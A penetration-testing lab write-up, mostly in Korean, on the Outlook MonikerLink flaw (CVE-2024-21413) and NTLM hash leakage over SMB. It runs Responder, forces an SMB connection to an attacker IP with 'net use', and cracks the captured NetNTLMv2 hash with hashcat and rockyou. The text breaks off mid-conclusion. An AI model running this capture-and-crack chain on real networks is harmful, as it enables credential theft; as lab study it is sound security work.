
CVE 2024-214113(MONIKER LINK) 취약점에 대한 PenTest를 위해 만들어진 실험실.
이 프로젝트는 CVE-2024-21413 (MonikerLink) 취약점을 연구하고, SMB/NTLM 프로토콜이 자격 증명 탈취에 어떻게 악용될 수 있는지 탐구하는 것을 목표로 했습니다. Microsoft의 공식 패치 이후에도, 이 실습은 내부 시나리오에서 개념이 여전히 유효함을 보여줍니다.
이 취약점(CVE-2024-21413)은 MonikerLink로 알려져 있으며, 심각도가 높음(CVSS 9.8)으로 분류되었습니다. 이 취약점은 Outlook이 오래된 COM API(Moniker Objects)를 사용하여 "file://" 링크를 안전하지 않게 처리했기 때문에 발생합니다. 이러한 개체는 Outlook이 Protected View를 거치지 않고 외부 리소스를 호출할 수 있게 하여, 클라이언트가 자동으로 SMB 연결을 시작하도록 유도했습니다.
이는 특수 링크를 통해 COM 개체를 참조할 수 있는 Windows 기능입니다.
원래 익스플로잇은 이메일로 전송된 "file://" 링크 또는 UNC 경로를 악용했습니다.
링크에 "!" 문자를 추가하면 Outlook의 내부 보호를 우회하여 외부 리소스를 직접 열도록 강제할 수 있었습니다.
이로 인해 자동 NTLM 인증이 발생하여 사용자의 중요한 상호작용 없이 NetNTLMv2 해시가 공격자에게 노출되었습니다.
패치 KB5002519는 Outlook에서 이 동작을 특별히 차단하여 "file://" 링크가 이러한 방식으로 처리되는 것을 방지합니다.
그러나 Windows의 자동 NTLM은 Outlook 컨텍스트 외부에서 계속 작동합니다. 즉, NTLM이 활성화되어 있고 인증 제한이 없는 환경에서 SMB 리소스에 액세스하려는 모든 시도는 여전히 자동 해시 전송을 유발할 수 있습니다.
📌 Outlook, SMB/NTLM 및 Responder 간의 관계 원래 익스플로잇: 악성 링크가 포함된 스팸 이메일 → Outlook이 처리 → NTLM이 자동으로 인증 → 공격자가 해시 수신.
내부 실습: 개념적 부분만 시뮬레이션 → 수동으로 SMB 연결 강제 → Responder가 해시 캡처 → Hashcat이 크래킹 수행.
왜 여전히 작동하는가? NTLM은 Outlook과 관계없이 SMB 연결에서 자동으로 인증하는 레거시 프로토콜이기 때문입니다. 패치는 Outlook 클라이언트를 수정하지만, Windows에서 NTLM 동작을 제거하지는 않습니다.


테스트 중 Outlook은 이메일에서 온 file:// 링크를 차단하고 보안 경고를 표시했습니다.

2024년 2월에 출시된 패치 KB5002519는 file:// 링크를 차단하여 이메일을 통한 외부 벡터를 완화합니다.
그러나 NTLM 프로토콜은 SMB 연결에서 자동 인증을 계속 허용합니다.
이는 Outlook이 이 특정 익스플로잇으로부터 보호되지만, 내부 공격 표면은 여전히 유효함을 의미합니다.
문제의 근본 원인은 인증 메커니즘으로서 NTLM에 대한 의존성에 있으며, 이는 SMB 연결에서 해시 캡처에 여전히 취약합니다.
sudo responder -I eth0

Via Explorer, acessando manualmente:
\\<IP do atacante>\test.

Via terminal (cmd ou PowerShell), usando o comando:
net use \\<IP do atacante>\test

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt
참고:
보안상의 이유로 실제 암호는 표시되지 않습니다. 목표는 프로세스와 취약점을 시연하는 것입니다.

이 실습은 다음을 입증했습니다: